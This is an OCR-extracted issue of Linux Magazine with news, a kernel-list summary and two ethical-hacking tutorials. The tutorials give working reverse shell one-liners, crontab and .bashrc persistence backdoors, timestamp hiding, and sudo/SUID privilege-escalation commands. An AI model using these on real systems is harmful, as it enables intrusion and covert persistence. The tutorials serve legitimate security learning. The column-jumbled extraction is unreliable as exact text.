Linux Magazine - October 2023 USA
Linux Magazine - October 2023 USA
FR D
+
DV
EE
Read this if you spend time on the web!
Think like an
Lemmy: Free
alternative to Reddit CardStock: Add a GUI
to your Python app
Gesture Control: Follow
a recipe without getting Kopia: Stay safe with
batter on the keys regular backups
DietPi: Lean and fast
distro for the Rasp Pi
10 TANTALIZING
FREE TOOLS!
W W W. L I N U X - M A G A Z I N E . C O M
EDITORIAL
Welcome
MUSICAL CHAIRS
Dear Reader,
Last month I used this space to talk about IBM/Red Hat’s So far so good, but a word of caution: There are many
plan to restrict access to Red Hat Enterprise Linux (RHEL) complications to companies teaming up to produce a
source code. This eerie announcement, which seemed shared product that is vital to their individual livelihoods.
quite contrary to the ideals of free software, sent shock It is way more difficult to maintain a full enterprise Linux
waves through the community. Some said it violated the distribution than it is to write a check every year to the
spirit of the GPL, and others argued it was necessary to Apache Software Foundation or send a few developers to
stop the clones from stealing Red Hat’s business. Every- work on the kernel. Ultimately, each of the companies par-
one agreed that Red Hat had developed a novel argument ticipating in OpenELA will have to sublimate their own pri-
that could potentially allow them to skirt around the orities for the project to stay on track.
code-sharing protections of the GPL, and the general Back in 2005, a group of Debian-derivative distros an-
feeling was that the matter would only be settled after a nounced that they were banding together to form the
protracted courtroom battle. Debian Common Core (DCC) Alliance [2], which would
Regardless of where this episode ends legally, it is now work communally to provide a foundation of common
clear that Red Hat’s clones and other competitors are not components they hoped would streamline development
planning to wait for the courts. Various distros have and “encourage commercial adoption” of Debian-based
come up with various plans, some of which I covered last systems. As soon as they started, though, it became
month. This month, the big news is that Oracle, SUSE, clear why the participants were separate distros in the
and CIQ have joined forces to launch the Open Enterprise first place and not a single Linux. The DCC Alliance was
Linux Association (OpenELA). fraught with disagreements and only lasted for two
OpenELA refers to itself as “a collaborative trade associa- years. Admittedly, some of the companies putting
tion to encourage the development of distributions com- money into the project were having their own financial
patible with Red Hat Enterprise Linux (RHEL) by providing issues (who remembers Xandros and Linspire?) But the
open and free Enterprise Linux (EL) source code” [1]. It fact is, a project of this magnitude requires hundreds of
would take a long time to explain why this organization decisions, and there are many reasons why different
would be able to provide access to Red-Hat-compatible companies would want to make those decisions in dif-
source code when Red Hat itself restricts access. Suffice it ferent ways. Companies don’t make money by sharing
to say that Red Hat figured out a legal hack to the GPL, and everything – they make money by differentiating. When
the companies behind OpenELA have several options for corporations try to collaborate and compete at the same
how to hack the hack. time, they sometimes end up playing musical chairs like
the generals in Evita.
The legal arguments will have to play out in court – I’m
more interested in what this new organization is, what it Oracle and SUSE, for instance, aren’t exactly best bunk-
will do, and whether or not it will succeed. OpenELA is mates. It is true that SUSE supports Oracle database sys-
exciting for a number of reasons. First of all, it ensures tems, but it is also true that Oracle likes to claim “Oracle
ongoing free access to the Enterprise Linux code base, database runs best on Oracle Linux” [3]. SUSE, on the other
which will help to avoid the fragmentation and needless hand, is the leading system for supporting SAP’s HANA
incompatibility that often confounds Linux users. An- database and ERP software, which competes directly with
other important benefit of this change is that it reasserts Oracle’s Fusion Cloud ERP suite. CIQ is a smaller player
the free software vision just when it seemed to be slip- than the others, but one of their areas of interest is HPC,
ping away. The GPL is supposed to be eternally self-cor- which has long been a strength for SUSE.
recting. No vendor can corner the market, because if The vendors behind OpenELA
they try to restrict access, the community responds by will have to stay together and
forking the code and offering alternatives. keep their eyes on the prize if
they want to avoid slipping into
a game of musical chairs.
Info
[1] Open Enterprise Linux Association: [Link]
[2] Debian Common Core Alliance:
[Link] Joe Casad,
[3] Oracle Database Runs Best on Oracle Linux: [Link] Editor in Chief
[Link]/linux/technologies/[Link]
ON THE COVER
34 Compromising WordPress 68 Gesture-Controlled Book
WordPress powers the Internet, and PHP All the cooking with less of the mess: fun in the
powers WordPress. What could possibly go kitchen with a gesture sensor and gestured-
wrong? controlled image viewer.
43 CardStock 78 Lemmy
This free discussion platform is the perfect
Augment your Python apps with graphics,
replacement for users who are weary of
buttons, sounds, clip art, and more. Reddit.
64 DietPi 90 Kopia
Check out this lean and fast distro for the A user-friendly backup solution that interfaces
Raspberry Pi. easily with mainstream storage services.
NEWS REVIEWS
08 News
• Zorin OS 16.3 Available 40 Distro Walk – Fedora
• Linux Mint 21.2 Available for Installation Matthew Miller, Fedora Project Leader, discusses Fedora’s
• AlmaLinux Will No Longer Aim for 1:1 RHEL Compatibility relationship with Red Hat and its role in the Linux
• Canonical Announces Real-Time Ubuntu for Intel Core community.
• EU-US Data Privacy Framework Ensures Safe Data Transfers
• IEEE Releases New Standard for LiFi Communications
@linux_pro
TWO TERRIFIC DISTROS
@linuxpromagazine
DOUBLE-SIDED DVD!
Linux Magazine SEE PAGE 6 FOR DETAILS
@linuxmagazine
10 • Canonical Announces
Real-Time Ubuntu for
which makes hardware detection easier and more reliable. As well, fuse-overlayfs
has been added for rootless containers. Finally, you’ll enjoy built-in support for App-
Intel Core Images and a suite of convergent applications (called Maui Apps), such as Index,
• EU-US Data Privacy Nota, Station, VVave, Pix, Clip, Buho, and Shelf.
Framework Ensures Safe Other software highlights include the latest NVIDIA proprietary drivers (version
Data Transfers 535.86.05), the latest MESA stack (23.3), an updated patch for the AMD Zdnbleed
• IEEE Releases New vulnerability, and Firefox 116.
Standard for LiFi You can read the full release announcement here and download an ISO from the
Communications official download page ([Link] ).
In terms of updated packages, you’ll find kernel 6.4.3, glib 2.36, gcc 12.3.0, rpm
4.18.0, Chromium 114.0.5735.198, Firefox ESR 102.13, LibreOffice [Link], and MORE ONLINE
Mesa 23.1.3.
As far as desktops are concerned, Mageia 9 makes available the following: KDE
Plasma 5.27.5, Gnome 44.2, Xfce 4.18.4, and LXQt 1.3.0. Linux Magazine
You’ll find installation media for both 32- and 64-bit architecture. The latest release in- [Link]
stallation media has been reduced in size and is, in fact, the smallest since Mageia 4.
It’s also important to note that the Mageia RPM database no longer uses the old, ADMIN HPC
unmaintained Berkeley DB. In its place, Mageia 9 uses SQLite. If you’re upgrading [Link]
from version 8 of the OS, that database will be automatically converted. Getting Data Into and Out of the Cluster
As expected, this is still a testing release and shouldn’t be used for production or • Jeff Layton
your daily driver. A basic question when getting into HPC is
You can read the full release notes ([Link] how to get data into and out of the cluster
lease_Notes) and download the RC1 candidate from the official Mageia download from local Linux and Windows machines.
page ([Link] ).
ADMIN Online
[Link]
Linux Mint 21.2 Available for Installation
Secure Microservices with Centralized Zero
Linux Mint 21.2, “Victoria,” is now available for general usage. This latest release in- Trust
cludes a number of improvements, including a brand new take on the Greeter, • Abe Sharp
which now has support for multiple keyboard layouts so you can easily switch. SPIFFE and SPIRE put strong workload identi-
As well, the touchpad was given some significant love such that tap-to-click is ties at the center of a zero-trust architecture.
now automatically detected and enabled in the login screen. Users can also now They improve reliability and security by tak-
configure the virtual keyboard. ing the responsibility for identity creation and
The Pix image viewer has also been re-based on gThumb 3.12.2 with a new UI management away from individual services
and workloads.
that features header bars and buttons in place of toolbars and menubars. Along with
the UI change, there have been 168 total new features for this one app alone. Pentest Your Web Server with Nikto
The look and feel of Linux Mint was also given some interesting tweaks. This in- • Matthias Wübbeling
cludes two-tone icons and alternative color selections. Check your web servers for known
Other changes include improved tooltips and title bars, XDG Desktop Portal vulnerabilities.
support added to XApp, a number of changes to Cinnamon 5.8 (such as the new
Passkeys Eliminate the Need for Password-
Styles feature), improved notifications, gesture support, a resizable main menu,
Based Authentication
experimental theme support for bumpmap and blur, multi-threaded thumbnails
• Mark Zimmermann
in Nemo, improvements for Warpinator, and much more. In addition, low-level Passwords are becoming a thing of the past.
battery notifications for connected devices can now be disabled. We look into the basic weaknesses of pass-
Read the full Linux Mint 21.2 release notes ([Link] words, explain what passkeys are all about,
ria_cinnamon_whatsnew.php) and download an ISO from the official Linux Mint and assess their practicality.
Download page ([Link]
Vasquez added, “Now that we will no longer be holding ourselves to being a 1:1 Red
Hat downstream rebuild, we are taking some time to consider the possibilities around
what that means. We will continue to provide updates around that process and will
include the members of the AlmaLinux OS Foundation in that conversation and deci-
sion-making process as well.”
AlmaLinux is committed to being a good open-source citizen and will continue to contrib-
ute upstream in Fedora, CentOS Stream, and the “greater enterprise Linux ecosystem.”
However, he went on to say, “But I And Kees said in summary, “So, yes, released for the next process that needs
don’t have enough insight into harden- I think this is worth it, but I’d like to the resource. This is what gives the op-
ing to decide if it’s a useful mitigation see what design holes Jann can poke in erating system the illusion of running
that people would enable, so I’d hope for it first. :)” everything all at once, having multiple
hardening folks to advise on that.” Hyeonggon felt now that his perfor- pieces of software reading and writing
Ruiqi replied, “For the effectiveness of mance objections had actually been an- to memory, and so on. In reality, all
this mechanism, I would like to provide swered, and the minor performance hit processes take turns.
some results of the experiments I did. I seemed like an appropriate trade-off. With the growing number of CPU
conducted actual defense tests […] by At this point, the developers dove into cores, Ying said, cores were starting to
reverting fixing patch to recreate exploit- an implementation discussion, which form long lines waiting for locks to be
able environments, and running the ex- eventually petered out. freed so they could access the zones of
ploits/PoCs on the vulnerable kernel In spite of this particular discussion memory they needed. While they
with and without our randomized kmal- seeming to fall in favor of Ruiqi’s pro- waited, those cores had to just sit idle.
loc caches patch. With our patch, the posed hardening feature, there does re- This wouldn’t bring the system to a
originally exploitable environments were main a heated debate among developers standstill, he said. But as he put it, “For
not pwned by running the PoCs.” – not just Linux kernel, but in the oper- example, on an 2-socket Intel server ma-
Kees Cook came into the discussion ating system space generally – as to chine with 224 logical CPUs, if the ker-
at this point, saying that he heartily where to draw the line. I know Linus nel is built with `make -j224`, the zone
agreed with the need for better ap- Torvalds has at one time or another ex- lock contention cycles% can reach up to
proaches to heap spraying attacks and pressed reluctance to include features about 12.7%.” With his patch series, he
other potential exploits, in particular aimed at attacks that may never succeed went on to say, “the zone lock conten-
Use After Free (UAF). UAF is a type of because the bugs they rely on don’t tion cycles% reduces to less than 1.6%
vulnerability where memory that has exist, in favor of fixing known security in the above kbuild test case when 4
been freed still contains private data holes as they appear. That particular de- zone instances are created for
that can be accessed by any hostile bate can get quite heated, and I’d be in- ZONE_NORMAL.”
code that looks at it. terested to learn about the final outcome That is a significant improvement.
Kees said of Ruiqi’s slab cache patch, of this particular patch, which seems to Ying achieved this by splitting memory
“This is a nice balance between the have such a low cost to overall zones into multiple instances of the
best option we have now (‘slub_no- efficiency. same zone type. As he put it, “we will
merge’) and most invasive changes create one zone instance for each
(type-based allocation segregation, Core Contention about 256 GB memory of a zone type
which requires at least extensive com- Improvements … or Not generally. That is, one large zone type
piler support), forcing some caches to Ying Huang from Intel posted a set of will be split into multiple zone in-
be ‘out of reach’.” patches to address the problem of CPUs stances. Then, different logical CPUs
Kees found Ruiqi’s benchmarks to contending with each other for access to will prefer different zone instances
show a relatively tiny impact on the ker- system resources, especially RAM. There based on the logical CPU No. So the
nel, which pleased him greatly. And he are already mechanisms in place in the total number of logical CPUs contend
gave some comments relating Ruiqi’s kernel to handle memory allocations, so on one zone will be reduced. Thus the
work to other similar work: Ying’s patches generated quite a bit of scalability is improved.”
“Back when we looked at cache quar- discussion. Ying added, “another choice is to cre-
antines, Jann pointed out that it was still Generally, memory is divided into ate zone instances based on the total
possible to perform heap spraying – it “zones,” with ZONE_NORMAL representing number of logical CPUs. We choose to
just needed more allocations. In this case, ordinary RAM, and other zones, such as use memory size because it is easier to
I think that’s addressed (probabilisti- ZONE_DMA, ZONE_MOVABLE, ZONE_DEVICE, etc., be implemented. In most cases, the more
cally) by making it less likely that a representing regions of memory with the cores, the larger the memory size is.
cache where a UAF is reachable is merged special characteristics. As Ying put it, And, on system with larger memory size,
with something with strong exploitation “all cores in one physical CPU will con- the performance requirement of the page
primitives (e.g. msgsnd). tend for the page allocation on one zone allocator is usually higher.”
“In light of all the UAF attack/defense in most cases. This causes heavy zone Dave Hansen, also from Intel, replied:
breakdowns in Jann’s blog post lock contention in some workloads. And “A few anecdotes for why I think _
([Link] the situation will become worse and some_ people will like this:
com/2021/10/how-simple-linux-kernel- worse in the future.” “Some Intel hardware has a ‘RAM’
[Link]), I’m curious where this As with all operating systems that run caching mechanism. It either caches
defense lands. It seems like it would multiple simultaneous processes, Linux DRAM in High-Bandwidth Memory or
keep the primitives described there (i.e. implements locks so that only one pro- Persistent Memory in DRAM. This
‘upgrading’ the heap spray into a page cess can access a given resource – in cache is direct-mapped and can have
table ‘type confusion’) would be ad- this case a zone of memory – at a given lots of collisions. One way to prevent
dressed probabilistically just like any time. In general, a lock is held for a mi- collisions is to chop up the physical
other style of attack.” croscopic amount of time and then memory into cache-sized zones and let
users choose to allocate from one zone. too avoids locking the zone in order to However, David Hildenbrand and Mi-
That fixes the conflicts. replenish the cache. chal did not agree.
“Some other Intel hardware a ways to Ying replied to Michal’s email, say- David Hildenbrand explained his over-
chop a NUMA node representing a single ing, “PCP does improve the page alloca- all position:
socket into slices. Usually one slice gets a tion scalability greatly! But it doesn’t “Well, the zone is kind-of your “global”
memory controller and its closest cores. help much for workloads that allocating memory provider, and PCPs cache a frac-
Intel calls these approaches Cluster on pages on one CPU and free them in dif- tion of that to avoid exactly having to
Die or Sub-NUMA Clustering and users ferent CPUs. PCP tuning can improve mess with that global datastructure and
can select it from the BIOS. the page allocation scalability for a lock contention. […] As soon as you
“In both of these cases, users have re- workload greatly. But it’s not trivial to manage the memory in multiple zones of
ported scalability improvements. We’ve find the best tuning parameters for vari- the same kind, you lose that “global”
gone as far as to suggest the socket-split- ous workloads and workload run time view of your memory that is of the same
ting options to folks today who are hit- statuses (workloads may have different kind, but managed in different bucks.
ting zone scalability issues on that loads and memory requirements at dif- You might end up with a lot of memory
hardware. ferent time). And we may run different pressure in a single such zone, but still
“That said, those _same_ users some- workloads on different logical CPUs of have plenty in another zone. […] As one
times come back and say something the system. This also makes it hard to example, hot(un)plug of memory is easy:
along the lines of: ‘So… we’ve got this find the best PCP tuning globally. It there is only a single zone. No need to
app that allocates a big hunk of memory. would be better to find a solution to im- make smart decisions or deal with hav-
It’s going slower than before.’ They’re fill- prove the page allocation scalability out ing memory we’re hotunplugging be
ing up one of the chopped-up zones, hit- of box or automatically.” stranded in multiple zones.”
ting _some_ kind of undesirable reclaim Michal replied, “this makes sense. David Hildenbrand concluded, “I re-
behavior […]. Does that mean that the global pcp tun- ally don’t like the concept of replicat-
“Anyway, _if_ you do this, you might ing is not keeping up and we need to be ing zones of the same kind for the
also consider being able to dynamically able to do more auto-tuning on local same NUMA node. But that’s just my
adjust a CPU’s zonelists somehow. That bases rather than global?” personal opinion maintaining some
would relieve pressure on one zone for Ying said, “I think that PCP helps the memory hot(un)plug code :).”
those uneven allocations.” good situations performance greatly, and Michal said, “Increasing the zone
Ying replied, “Yes. For the require- splitting zone can help the bad situations number sounds like a hack to me TBH. It
ments you mentioned above, we need scalability. They are working at the dif- seems like an easier way but it allows
a mechanism to adjust a CPU’s zonel- ferent levels.” He added, “As for PCP more subtle problems later on. E.g. hard
ists dynamically. I will not implement auto-tuning, I think that it’s hard to im- to predict per-zone memory consump-
that in this series. But I think that it’s plement it to resolve all problems (that tion and memory reclaim disbalances.”
doable based on the multiple zone in- is, makes PCP never be drained). And Ying concluded the debate, saying, “At
stances per zone type implementation auto-tuning doesn’t sound easy.” least, we all think that improving PCP is
in this series.” David Hildenbrand replied, “I agree something deserved to be done.” He said
Elsewhere, Ying’s whole approach was with Michal that looking into auto-tun- he would look into it himself at some
called into question. ing PCP would be preferred.” And he point, and the discussion ended there.
Michal Hocko said, “It is not really added, “If we could avoid instantiating This discussion is fascinating to me,
clear to me why you need a new zone more zones and rather improve exist- because it represents two important val-
for all this rather than partition free lists ing mechanisms (PCP), that would be ues: the desire to speed things up ver-
internally within the zone?” He added, much more preferred IMHO. I’m sure sus the desire to keep the code main-
“I am also missing some information it’s not easy, but that shouldn’t stop us tainable. Ying’s patches resulted in
why pcp caches tunning is not from trying ;).” quite a significant boost in overall effi-
sufficient.” Ying absolutely agreed that “improv- ciency of multicore CPUs. Yet Dave
Per-CPU Pageset (PCP) caching is an- ing PCP or adding another level of cache Hansen and Michal felt that they repre-
other way, already in the kernel, to re- will help performance and scalability.” sented a change that would complicate
duce zone lock contention. Each CPU And he also said that “it has value too to future development decisions that
core allocates a cache of memory ahead improve the performance of zone itself. might have to be made. Although per-
of time, just for its own use. When pro- Because there will be always some cases haps a more difficult problem in the
cesses on that core request memory ac- that the zone lock itself is contended.” short term, they felt that improving PCP
cess, it’s taken out of that cache, thus He added pointedly, “That is, PCP and caching would avoid those complexities
avoiding the need to request a lock on zone works at different level, and both while potentially achieving an effi-
that memory zone. Because the mem- deserve to be improved.” And contin- ciency improvement similar to Ying’s
ory has already been allocated, there’s ued, “I do agree that it’s valuable to zone-splitting patchset. Still, it’s hard to
no risk of any other process trying to make PCP etc. cover more use cases. I overlook Ying’s performance improve-
use it. Meanwhile, PCP caches are re- just think that this should not prevent us ments. It’s possible that if no equivalent
plenished by reclaiming memory that’s from optimizing zone itself to cover re- PCP improvements are found soon, his
no longer needed by its process – this maining use cases.” patches might make a comeback. Q Q Q
Shell Game
Firewalls block shell access from outside the network. But what if the
shell is launched from the inside? By Chris Binnie
R
ecently, I’ve forward shell) is where
thoroughly en- a target machine (the
joyed brushing machine under attack)
up my offensive can be accessed re-
security skills. I’ve motely by the attacker
worked in the defensive over the network. For
security field for longer purposes of this article,
than I care to remember, a bind shell is pre-
and gaining more in- sented over a network
sight into how attackers port in a way that an
perceive the world has attacker can connect
really opened my eyes. back into the target
My background is two- machine. Bind shells
and-half decades of are less common be-
Linux and securing containers over the last seven years or so. cause they require firewalling to be in a more malleable state
An area that always piques my interest is Linux-based local for the attacker. A number of security controls might be stop-
privilege escalation. Once you have found a way of gaining ping inbound traffic on a server (upstream firewalling with
access to a machine, the Holy Grail is elevating your privileges specifically whitelisted IP ranges and various types of in-
to the root user so you have full control. bound traffic being blocked, for example).
Sometimes achieving root can take a little time. As an at- A reverse shell, on the other hand, is where the target ma-
tacker, it is important to be able to return at a later date if you chine (the one suffering the attack) phones home to an IP
haven’t achieved root user privileges yet or you want to moni- address that the attacker controls. In most firewall configu-
tor changeable data on a machine. Penetration testers and at- rations, outbound traffic is much more open. Often, any pro-
tackers would call this ongoing access persistence, which is the cess on a machine that initiates network connections is per-
ability to gain a foothold and then maintain access; you might mitted to do so by default. This avoids the need to worry
also call it creating a backdoor. about firewalling between the target machine and the at-
Attackers have a multitude of ways for ensuring that, if a ma- tacker (unless very strict iptables are configured, for
chine reboots or some other event occurs, a backdoor is re-es- example).
tablished automatically. This article looks at reverse shells and
provides some examples of how to achieve persistence once Bash It into Shape
you have gained access to a Linux machine. It should go with- The target machine is the computer suffering the attack. The
out saying that you should use the following information for target can be any kind of networkable device, of course, but
testing, practicing, and improving your knowledge and not for it is usually a server. Bear the terminology in mind because
some nefarious purpose. things can get pretty confusing when other machines are in-
volved and you’re reversing the direction of traffic from a
Backwards and Forwards target.
Two popular types of remote access for an attacker are reverse I will start with an example from the best shell on the mar-
shells and bind shells. A bind shell (sometimes called a ket, Bash. I have an Ubuntu Linux laptop that I will call the
“attacking” machine and my “target” machine is a Debian information. The following command dutifully reports back my
Linux server on AWS (an EC2 instance). The variety of Linux laptop’s public IP address (via a VPN which you may need to
doesn’t matter at all in my examples (and as Ubuntu Linux is a switch off initially while testing):
Debian derivative, you could swap the roles around without
changing any of the command syntax). The straightforward $ curl [Link]
Bash commands that follow should work with most distribu- [Link]
$ nc -nvlp 8888
I’m listening with the l switch on TCP port 8888 (with the p
switch), and I want verbose output (the v switch) and no
DNS lookups (using n). Figure 2: Happiness is a working reverse shell.
On the target machine (the one under attack), I will run the
following commands: This command will force the terminal emulator to xterm [4],
which should give access to commands like clear.
$ export HOST=[Link] The third command allows you to temporarily put the Netcat
process on hold to tweak the terminal settings:
$ export PORT=8888
The fourth and final command to paste into place has a sepa-
The first two commands help set up environment variables rate fg command at the end (to foreground the process – a
that can be easily adjusted on their own lines. The third line counter to the CTRL+Z). More importantly though, this com-
opens TCP port 8888 as the PORT and the HOST variable is the mand disables echoes from coming back after entering com-
laptop’s IP address. Using those settings, the third line points mands and also makes sure that the output isn’t run as com-
the bash command at a Linux device and pushes all output to mands; instead, it is just forwarded to be displayed directly to
it, and the -i switch makes the shell interactive. your terminal. It may also give access to tab-completing and
By running these three commands on the target machine, I the ability to use arrow keys.
am able to initiate a network connection back to the attacking
machine. $ stty raw -echo; fg
Proof in the Pudding After entering this command, you usually have to hit the Enter
Back on my laptop, I can see the results of the connection (Fig- key to start the terminal up. It’s easy to forget to do so, so be
ure 2). See the box entitled “That’s a Wrap” for more on the warned.
rlwrap command shown in Figure 2. The result is a relatively Figure 3 shows the stabilizing commands in action. You
functional shell. In this instance, the shell is even providing a can see the echoed commands and why I need to stop each
colored prompt, which is rarely seen without extra effort in my entry being sent back. Note that I don’t need the root user to
experience. The key things to look for in Figure 2 are that the fire up the bash -i &> /dev/tcp/$HOST/$PORT <&1 command
first prompt is on a machine called Xeo, the last line shows that on the target, making the possibility of achieving a reverse
I’m connected to the AWS instances, and the prompt is dis- shell much higher.
played as the Debian instance’s IP address. You soon realize that it’s imperative to stabilize reverse shells;
among other things, stabilizing the shells helps prevent acciden-
A Hop, Skip, and Jump tally hitting the CTRL+C keys, which will cause an exit from the
The prettified shell I just created is actually really unstable. For shell, forcing you to re-establish it (something that isn’t always
example, hitting the CTRL+C keys (among other key combina- possible during an attack). Instead, in most cases you will need
tions) will immediately drop the reverse shell, sending me un- a good, old CTRL+D to log out from a stabilized shell.
gracefully straight back to my laptop’s shell prompt. As a re- This next example is what you can expect during a Capture
sult, I need to stabilize the connection. Admittedly, it’s a bit of the Flag (CTF) exercise or an actual machine compromise in
a problem to get a shell behaving in a usable and sane way. most instances. In Listing 2, note the sparse shell output (and
There are several steps you can take. complete lack of any prompt).
More often than not, Python is available to you and this
first command is used frequently to settle reverse shells That’s a Wrap
down. Note that this command is not actually needed in
A handy command you can use to tidy up your reverse shell
this case, as I have a prompt, but without a prompt, you will connections is rlwrap. You can install the rlwrap utility on
almost definitely need it or an alternative. You might need to Debian derivatives as follows:
change python3 to python or python2 on some machines. This
command will make a shell look much more familiar. $ apt install rlwrap
One technique is to use a cron job. It is sometimes possible uid=1001(chris) gid=1001(chris) groups=1001(chris)
to add a line to a script that runs with root privileges and cre- ls
ates a reverse shell with elevated permissions. However, keep- [Link] [Link]
ing things simple, you could also just add a line to the
crontab file that phones home periodically. Think back for a
second to the three commands at the start of the article that
created a Bash reverse shell. You should be able to convert
those three lines into a one-liner for an entry into the crontab.
Figure 5 shows an abbreviated crontab with a reverse shell
configured to phone home at 11:11 every day. It should go
without saying that this one-liner could be added to a script
that is run via a cron job, so its immediate purpose is hidden
from users looking at the crontab file’s contents. Figure 4: The types of reverse shell that the service
If you’ve used cron before, there’s also a @reboot option that attempts to set up for you (intentionally redacted).
means the reverse shell will attempt to re-establish after a Source: [Link]
$ touch U needs to be changed to a real date and TryHackMe [7] and, as you become a lit-
-t YYYYMMDDhhmm /home/chris/.bashrc time for the command to work. tle more experienced, Hack The Box [8].
Both websites offer a wide range of fas-
In this example, I adjust the file modi- Conclusion cinating tutorials and CTF exercises that
fication time of the edited .bashrc file, Hopefully, this study of reverse shells will allow you to learn and then try out your
so the user’s attention isn’t drawn to it encourage you to look closer at offensive newly discovered knowledge. Happy
if a file listing is displayed (e.g. with security. This article barely scratches the hacking. Q Q Q
the ls -al command). Setting an ear- surface of the phenomenally massive ice-
lier modification time sneakily hides berg that is ethical hacking. Info
the fact that you have edited the file at To continue on your offensive security [1] Binnie, Chris. Linux Server Security:
all. Obviously, the YYYYMMDDhhmm option journey, I would recommend looking at Hack and Defend. Wiley Publishing,
2016:[Link]
Listing 3: .bashrc File Linux-Server-Security-Chris-Binnie/dp/
01 # Alias definitions.
1119277655
02 # You may want to put all your additions into a separate file like [2] ncat: [Link]
03 # ~/.bash_aliases, instead of adding them here directly. [3] Gufw Firewall: [Link]
04 # See /usr/share/doc/bash-doc/examples in the bash-doc package. io/projects/gufw/
05 [4] xterm: [Link]
06 if [ -f ~/.bash_aliases ]; then xterm/[Link]
07 . ~/.bash_aliases [5] Reverse shell checker:
08 fi [Link]
09 [6] Reverse shell tool on GitHub:
10 # enable programmable completion features (you don't need to enable [Link]
11 # this, if it's already enabled in /etc/[Link] and /etc/profile reverse-shell
12 # sources /etc/[Link]). [7] TryHackMe: [Link]
13 bash -i &> /dev/tcp/[Link]/8888 <&1 [8] Hack The Box:
14 if ! shopt -oq posix; then [Link]
15 if [ -f /usr/share/bash-completion/bash_completion ]; then
16 . /usr/share/bash-completion/bash_completion Author
17 elif [ -f /etc/bash_completion ]; then Chris Binnie is a Cloud Native Security
18 . /etc/bash_completion consultant and co-author of the book Cloud
19 fi
Native Security: [Link]
Cloud-Native-Security-Chris-Binnie/dp/
20 fi
1119782236.
QQQ
Shape Shifter
Even a small configuration error or oversight can create an opening for
privilege escalation. These real-world escalation techniques will help you
understand what to watch for. By Chris Binnie
O
ne important aspect of ethical hacking is privilege permits certain types of penetration testing. As per their web-
escalation, which is often abbreviated as PrivEsc or site [2] : “AWS customers are welcome to carry out security as-
LPE (and sometimes called Local Privilege Escalation). sessments or penetration tests of their AWS infrastructure with-
PrivEsc is when one user illegitimately becomes an- out prior approval for the services listed in the next section
other. An attacker might try to become another user on a under Permitted Services.” Looking down through the Permit-
system or the superuser. ted Services, EC2 instances is the first item listed. I’m mention-
The escalation techniques I have learned while studying of- ing this because you might need to check with the platform
fensive security have been a real eye opener. I’d go as far to say that you intend to practice security on. In my case, I’m rela-
that anyone working in the defensive security space should be tively confident the security assessment label applies for my
trained in the various ways attackers attempt to break in. It is testing.
not always as simple as elevating permissions from a low-level
user to the root user (which is referred to as vertical privilege So Much to Do, So Little Time
escalation); often PrivEsc means you must first perform hori- If you have studied privilege escalation even briefly, you have
zontal privilege escalation, moving from one non-root user to probably discovered that there are multiple, often extremely
another. Low-level users often have subtly different privileges creative routes you can employ to become the coveted root
or different access to files or scripts that might be more hack- user.
able. Attackers move from user to user, looking for the account PrivEsc is often enabled by perfectly innocent, intentional
that offers the best opportunity for escalation. functionality within an application. That functionality might
The Wikipedia page on privilege escalation [1] sums up PrivEsc include applications that permit filesystem access or even shell
nicely: “Privilege escalation is the act of exploiting a bug, a design access from within an application itself. Or, even more inno-
flaw, or a configuration oversight in an operating system or soft- cently, when the application exits, it might not cleanly drop
ware application […snip…]. The result is that an application with privileges for one reason or another.
more privileges than intended by the application developer or sys- It is no exaggeration to say that there are hundreds of
tem administrator can perform unauthorized actions.” ways of exploiting sudo privileges. The sudo tool [3] lets
This article will look at some of the more common routes to users elevate their access to run specific, granular com-
PrivEsc on a Linux machine. The aim is to become the root mands without ever needing to become the root user (or
user in order to gain full control of the machine. other user) directly.
The first application that I’ll look at is one that most people
Cloud Matters are familiar with. The package manager Advanced Packaging
I’ll use an AWS EC2 instance to run these tests. If you’re not at- Tool (APT) predominantly uses the /usr/bin/apt-get binary to
tacking other customers and disrupting their services, AWS update package lists and upgrade applications.
I have a low-level user called chris that I’ll add to the sudo- Have a look at the following command:
ers configuration file in a moment and allow chris to run
apt-get without using a password. You should be aware that $ sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
you commonly need to use full file paths with sudo, so I’ll
keep referring to /usr/bin/apt-get. I’ll follow protocol (to I’m asking APT to invoke a command before running the up-
help prevent mangling the sudoers file and accidentally lock- date option – simple but effective. Figure 3 shows the impact of
ing out system users) and run this command: such a command, when a user has sudo access to run it.
In Figure 3, for perfect clarity, I run the whoami and id com-
$ visudo /etc/sudoers mands, showing that I’m the chris user. Then, having run the
apt-get command, I run the same commands again.
Then I’ll add this line, and save then exit the file cleanly: This time the results are devastating to the security of a sys-
tem. I’ve found the Holy Grail by exploiting an option in the
chris ALL=EXEC:NOPASSWD: /usr/bin/apt-get venerable APT application. The last few lines of Figure 3 show
that I am now the root user and have complete control of the
Now I’ll check that the configuration worked by running AWS instance, even though I logged in as the chris user.
apt-get without sudo first, as shown in Figure 1. The next step would be simply typing the word bash to turn the
According to the sudo manual (man sudo), changing EXEC to sparse Bourne (sh) shell into a Bash shell. Have a look at Figure 4.
NOEXEC in the sudo configuration will help prevent most shell I now have a very familiar-looking, colorful superuser prompt.
escapes. And, in the manual for the sudoers file (man sudoers),
there’s a section called “Preventing shell escapes” that makes Ready Player Two
for interesting reading. Next I’ll look at a command that some users make use of con-
Now that I’ve added a rule to the sudoers file, in Figure 2, I’m tinually on Linux. The less command helps users read text
running the same command with sudo to see if it works. Great, files and search for patterns in text files, among other things.
no errors. On this occasion, it’s worth mentioning that less often
Now for the clever bit. I’m going to run a slightly tricky look- serves as the default pager on Linux machines. What that
ing command to offer an example of how some applications means is that applications such as the excellent APT can also
might unexpectedly permit the user to run a shell, whether in- be prone to issues that affect associated tools (less in this case)
tentionally or not. that are able to read files, such as an installed package’s
Figure 2: Running the command with sudo means that the command executes successfully.
$ whereis less
Figure 5: The package manager is firing up less to read a changelog file. Now I can adjust the /etc/sudoers file:
Figure 7: The [Link] file. Figure 8: I’ve done it again. The superuser is shown.
chris ALL=EXEC:NOPASSWD:/usr/bin/nano file hasn’t got the permission to execute the file, it is possible
to use an “s” instead. Figure 10 shows the permissions for the
you need the following commands to PrivEsc: excellent watch binary that refreshes your screen while another
application runs, so you can watch for changes, first without
$ sudo nano the special bit set (Figure 10).
CTRL-R See the s in place of the usual place for the x (for user execu-
CTRL-X tion permissions) in Figure 10. Also, note that the file is owned
reset; sh 1>&0 2>&0 by the root user.
To see if PrivEsc is possible, run the following command:
Note that you need to open Nano and then type directly, after
using the CTRL+R and CTRL+X keystrokes (which open the $ /usr/bin/watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'
Figure 11: I have managed to abuse the SUID setting on the watch binary.
